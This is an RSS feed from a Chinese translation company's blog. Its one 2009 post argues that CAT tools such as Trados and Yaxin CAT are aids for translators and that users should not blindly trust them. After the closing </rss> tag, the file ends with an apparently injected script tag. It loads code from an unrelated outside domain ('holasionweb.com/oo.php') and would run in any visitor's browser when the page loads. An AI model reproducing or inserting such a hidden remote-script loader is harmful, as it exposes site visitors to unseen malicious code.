<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>日月同声翻译博客 &#187; Trados</title>
	<atom:link href="http://www.rytsol.com/blog/tag/trados/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rytsol.com/blog</link>
	<description>北京日月同声翻译有限公司</description>
	<lastBuildDate>Tue, 08 Jun 2010 15:05:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>关于翻译工具</title>
		<link>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/</link>
		<comments>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/#comments</comments>
		<pubDate>Mon, 25 May 2009 14:06:20 +0000</pubDate>
		<dc:creator>yys</dc:creator>
				<category><![CDATA[翻译点滴]]></category>
		<category><![CDATA[Trados]]></category>
		<category><![CDATA[翻译工具]]></category>
		<category><![CDATA[雅信CAT]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=25</guid>
		<description><![CDATA[市面上的翻译工具已经很多了, 像雅信CAT和Trados+MultiTerm系列, 都是很出名的, 它们帮助翻译人员及翻译公司极大的提高了生产率, 一时间受到大家追捧!
逐渐的, 我发现有些翻译人员用Trados尝到了一点甜头,  这些人有的已经有了一些记忆库, 或者从其他地方得到了一些terms, 翻译的时候都特快 ; 另外一些初始接触到翻译工具的人从各种广告上, 翻译工具的介绍中, 开始喜欢上了这些工具, 在网上到处去找.  这两类人有一个共同点, 就是这些翻译工具是很能的, 能够主动的帮助他们解决翻译的问题.
但是, 我要说, 这种认识是错误的, 原因有三: 一是翻译工具说到底是一类计算机应用, 而计算机工具是用来辅助人们劳动的, 尤其是那些重复性的劳动, 也就是说使用者使用工具完成一般性工作, 而把自己解放出来作出更有创造性的工作; 二是已经记忆下的成功案例无疑是宝贵的经验, 但是具体问题具体分析的思考方法要求我们必须作出必要调整(修改)已适应新的工作要求; 三是每种翻译工具都有其特点, 我们所要做的就是有效地利用其特点, 发挥其长处, 关注翻译任务的整体性, 其实Trados系列的表现都是很不错的.
总之, 我们不应迷信翻译工具, 而应客观地,审慎批判地来使用这些工具, 让这些工具最大限度的提高我们的翻译生产率.
]]></description>
			<content:encoded><![CDATA[<p>市面上的翻译工具已经很多了, 像雅信CAT和Trados+MultiTerm系列, 都是很出名的, 它们帮助翻译人员及翻译公司极大的提高了生产率, 一时间受到大家追捧<span style="font-size: x-small;"><strong></strong></span>!</p>
<p>逐渐的, 我发现有些翻译人员用Trados尝到了一点甜头,  这些人有的已经有了一些记忆库, 或者从其他地方得到了一些terms, 翻译的时候都特快 ; 另外一些初始接触到翻译工具的人从各种广告上, 翻译工具的介绍中, 开始喜欢上了这些工具, 在网上到处去找.  这两类人有一个共同点, 就是这些翻译工具是很能的, 能够主动的帮助他们解决翻译的问题.</p>
<p>但是, 我要说, 这种认识是错误的, 原因有三: 一是翻译工具说到底是一类计算机应用, 而计算机工具是用来辅助人们劳动的, 尤其是那些重复性的劳动, 也就是说使用者使用工具完成一般性工作, 而把自己解放出来作出更有创造性的工作; 二是已经记忆下的成功案例无疑是宝贵的经验, 但是具体问题具体分析的思考方法要求我们必须作出必要调整(修改)已适应新的工作要求; 三是每种翻译工具都有其特点, 我们所要做的就是有效地利用其特点, 发挥其长处, 关注翻译任务的整体性, 其实Trados系列的表现都是很不错的.</p>
<p>总之, 我们不应迷信翻译工具, 而应客观地,审慎批判地来使用这些工具, 让这些工具最大限度的提高我们的翻译生产率.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/05/25/about-translation-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>